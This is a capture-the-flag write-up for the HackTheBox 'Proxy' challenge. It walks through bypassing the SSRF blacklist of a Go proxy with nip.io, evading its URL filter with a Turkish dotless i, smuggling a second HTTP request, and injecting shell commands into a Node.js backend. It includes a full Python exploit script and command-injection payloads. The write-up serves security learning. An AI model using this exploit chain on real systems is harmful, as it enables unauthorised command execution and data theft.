Proxy
hackthebox
A custom HTTP proxy written in Go that forwards requests to an internal Node.js backend. The goal is to exploit vulnerabilities to achieve command injection and read the flag.
$ ls tags/ techniques/
Proxy - HackTheBox
Description
A custom HTTP proxy written in Go that forwards requests to an internal Node.js backend. The goal is to exploit vulnerabilities to achieve command injection and read the flag.
Architecture:
- Go Proxy (port 1337): Custom HTTP proxy with SSRF protections and URL filtering
- Node.js Backend (port 5000): Express app with
ip-wrapperpackage that has command injection vulnerability in/flushInterfaceendpoint
Analysis
Architecture Overview
The challenge presents a multi-layered architecture requiring multiple bypass techniques:
[Attacker] --> [Go Proxy :1337] --> [Node.js Backend :5000]
| |
- SSRF blacklist - /flushInterface
- URL filter - Command injection
- Body filter in ip-wrapper
Vulnerability Chain
To exploit this challenge, we need to bypass multiple security layers:
- SSRF Protection - Blacklist of internal IP addresses
- URL Filter - Blocks requests to
/flushinterface - Body Filter - Blocks dangerous characters in request body
- Backend Validation - Validates interface name format
1. SSRF Blacklist Analysis
The Go proxy blacklists common internal IP patterns in the Host header:
localhost0.0.0.0127.(prefix)172.(prefix)192.(prefix)10.(prefix)
Key observation: The blacklist checks for 192. (with dot), but DNS wildcard services like nip.io use dashes.
2. URL Filter Analysis
The proxy uses strings.ToLower() to normalize URLs before checking for blocked patterns:
if strings.Contains(strings.ToLower(url), "flushinterface") { // Block request }
Key observation: Go's strings.ToLower() uses simple ASCII lowercasing, not Unicode-aware case folding.
3. Body Parsing Vulnerability
The proxy splits the request body on \r\n\r\n:
bodySplit = strings.Split(requestBytes, "\r\n\r\n") // Only validates bodySplit[1] (first body segment)
Key observation: If we send multiple body segments, only the first is validated, but ALL raw bytes are forwarded to the backend.
4. Command Injection in ip-wrapper
The Node.js backend uses the ip-wrapper package which executes shell commands:
exec(`ip address flush dev ${interfaceName}`)
User input is directly interpolated into the shell command without proper sanitization.
Solution
Bypass 1: SSRF via nip.io DNS Wildcard
Problem: Proxy blacklists 192. prefix in Host header.
Solution: Use nip.io with dashes instead of dots:
192-168-64-236.nip.ioresolves to192.168.64.236- The blacklist checks for
192.but our payload contains192-
Host: 192-168-64-236.nip.io:5000
Bypass 2: Turkish I Attack (Unicode Case Folding)
Problem: Proxy blocks URLs containing "flushinterface" (case-insensitive).
Solution: Use Turkish dotless i (ı, U+0131):
/flushınterface(with dotless i)- Go's
strings.ToLower("ı")returnsı(unchanged) - The lowercased URL
/flushınterfacedoes NOT contain "flushinterface"
Verification in Go:
package main import ( "fmt" "strings" ) func main() { url := "/flushınterface" // Turkish dotless i lowered := strings.ToLower(url) fmt.Println(lowered) // Still "/flushınterface" fmt.Println(strings.Contains(lowered, "flushinterface")) // false }
Bypass 3: HTTP Request Smuggling
Problem: Even with Turkish I bypass, we need to reach the real /flushInterface endpoint.
Solution: Exploit the body splitting logic to smuggle a second request:
POST /flushınterface HTTP/1.1
Host: 192-168-64-236.nip.io:5000
Content-Type: application/json
Content-Length: 2
{}\r\n\r\nPOST /flushInterface HTTP/1.1
Host: 192-168-64-236.nip.io:5000
Content-Type: application/json
Content-Length: XX
{"interface":"..."}
How it works:
- Proxy sees body as
{}(first segment after\r\n\r\n) - Proxy validates
{}- passes all filters - Proxy forwards ALL raw bytes to Express
- Express processes the connection and sees TWO requests:
- First:
POST /flushınterface→ 404 (endpoint doesn't exist) - Second:
POST /flushInterface→ Reaches vulnerable endpoint!
- First:
Bypass 4: Command Injection via JSON Escape Sequences
Problem: Body filter blocks newlines (\r\n|\r|\n), semicolons, pipes, etc.
Solution: Use JSON escape sequences:
- Send literal
\n(backslash + n) in HTTP body - Proxy sees no actual newline characters → passes filter
- Express JSON parser converts
\nto real newline
{"interface":"eth0\\ncat /flag.txt"}
In the HTTP body, this is: {"interface":"eth0\ncat /flag.txt"} (literal backslash-n)
After JSON parsing: eth0 + newline + cat /flag.txt
Command becomes:
ip address flush dev eth0 cat /flag.txt
Bypass 5: Space Bypass with ${IFS}
Problem: Backend validation rejects interface names containing spaces.
Solution: Use ${IFS} (Internal Field Separator) as space substitute:
cat${IFS}/flag.txtis equivalent tocat /flag.txt- No space character in the payload
Bypass 6: Blind Exfiltration via File Overwrite
Problem: No outbound network connectivity, stdout not returned in response.
Solution: Overwrite a file served by the proxy:
- Proxy serves
/app/proxy/includes/index.htmlat path/ - Command:
cp${IFS}/flag.txt${IFS}/app/proxy/includes/index.html - Then request
GET /to read the flag
Final Exploit
#!/usr/bin/env python3 """ HackTheBox Proxy - Full Exploit Chain Combines: SSRF bypass + Turkish I + HTTP Smuggling + Command Injection """ import socket import time TARGET = "94.237.123.185" PORT = 45024 # Command injection payload - copy flag to web-served file # Using ${IFS} as space substitute, \n for newline (JSON escape) payload_body = b'{"interface":"lo\\ncp${IFS}/flag.txt${IFS}/app/proxy/includes/index.html"}' # First body segment (passes validation) body1 = b'{}' # Smuggled second request with real /flushInterface endpoint second_req = ( b"POST /flushInterface HTTP/1.1\r\n" b"Host: 192-168-64-236.nip.io:5000\r\n" b"Content-Type: application/json\r\n" b"Content-Length: " + str(len(payload_body)).encode() + b"\r\n" b"\r\n" + payload_body ) # First request uses Turkish dotless i (\u0131) to bypass URL filter # The proxy sees /flushınterface which doesn't match "flushinterface" first_req = ( f"POST /flush\u0131nterface HTTP/1.1\r\n" f"Host: 192-168-64-236.nip.io:5000\r\n" f"Content-Type: application/json\r\n" f"Content-Length: 2\r\n" f"\r\n" ).encode('utf-8') # Combine: first request + body1 + CRLF separator + smuggled request full_request = first_req + body1 + b"\r\n\r\n" + second_req print("[*] Sending smuggled request with command injection...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((TARGET, PORT)) sock.sendall(full_request) response = sock.recv(4096) print(f"[*] Response: {response[:200]}...") sock.close() # Wait for command execution time.sleep(1) # Read the flag from overwritten index.html print("[*] Fetching flag from overwritten index.html...") req2 = b"GET / HTTP/1.1\r\nHost: test.com:80\r\n\r\n" sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock2.settimeout(10) sock2.connect((TARGET, PORT)) sock2.sendall(req2) response = sock2.recv(4096) print("[+] Flag retrieved:") print(response.decode()) sock2.close()
Key Indicators
Use these techniques when you see:
SSRF Bypass (nip.io):
- IP-based blacklists checking for dot-separated octets
- Custom proxy implementations
- DNS resolution happening after blacklist check
Turkish I Attack:
- Case-insensitive URL filtering using
strings.ToLower()(Go) - Similar issues in other languages with simple ASCII lowercasing
- Blacklist-based URL filtering
HTTP Request Smuggling:
- Custom HTTP parsers (not standard library)
- Body splitting on
\r\n\r\n - Proxy forwarding raw bytes to backend
- Different HTTP implementations between proxy and backend
Command Injection:
exec(),system(),spawn()with user input- Shell command construction with string interpolation
ip-wrapperor similar network utility packages
Exfiltration via File Overwrite:
- No outbound network connectivity
- Blind command execution (no output in response)
- Static files served by the application
Attack Flow Diagram
1. SSRF Bypass
192-168-64-236.nip.io → resolves to 192.168.64.236
Bypasses: "192." blacklist (uses dash, not dot)
2. URL Filter Bypass (Turkish I)
/flushınterface → ToLower() → /flushınterface
Bypasses: "flushinterface" check (ı ≠ i)
3. HTTP Smuggling
Body: {}\r\n\r\nPOST /flushInterface...
Proxy validates: {} (clean)
Backend receives: Two requests
4. Command Injection
JSON: {"interface":"lo\\ncp${IFS}/flag.txt${IFS}/app/proxy/includes/index.html"}
After parsing: lo\ncp /flag.txt /app/proxy/includes/index.html
Shell executes: ip address flush dev lo; cp /flag.txt /app/proxy/includes/index.html
5. Exfiltration
GET / → Returns overwritten index.html with flag content
Lessons Learned
-
Custom HTTP parsers are dangerous - They often have subtle differences from standard implementations that can be exploited for smuggling attacks.
-
Unicode handling in security filters is tricky - Simple ASCII case conversion (
strings.ToLower()in Go) doesn't handle Unicode properly. Use Unicode-aware functions or normalize input before filtering. -
Blacklists are inherently incomplete - DNS wildcard services like nip.io can bypass IP blacklists. Consider using allowlists instead.
-
Defense in depth matters - Even with multiple security layers, a chain of bypasses can defeat them all. Each layer should be robust independently.
-
Blind exfiltration techniques - When network egress is blocked, file-based exfiltration (overwriting served files) is a powerful alternative.
-
JSON parsing differences - The difference between literal
\nin HTTP body and actual newline after JSON parsing can bypass body filters.
References
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][free]Dusty Alleys— hackthebox
- [web][free]Desires— HackTheBox
- [web][free]Prison Pipeline— hackthebox_business_ctf_2024
- [web][Pro]board_of_secrets— miptctf
- [web][free]Offlinea— HackTheBox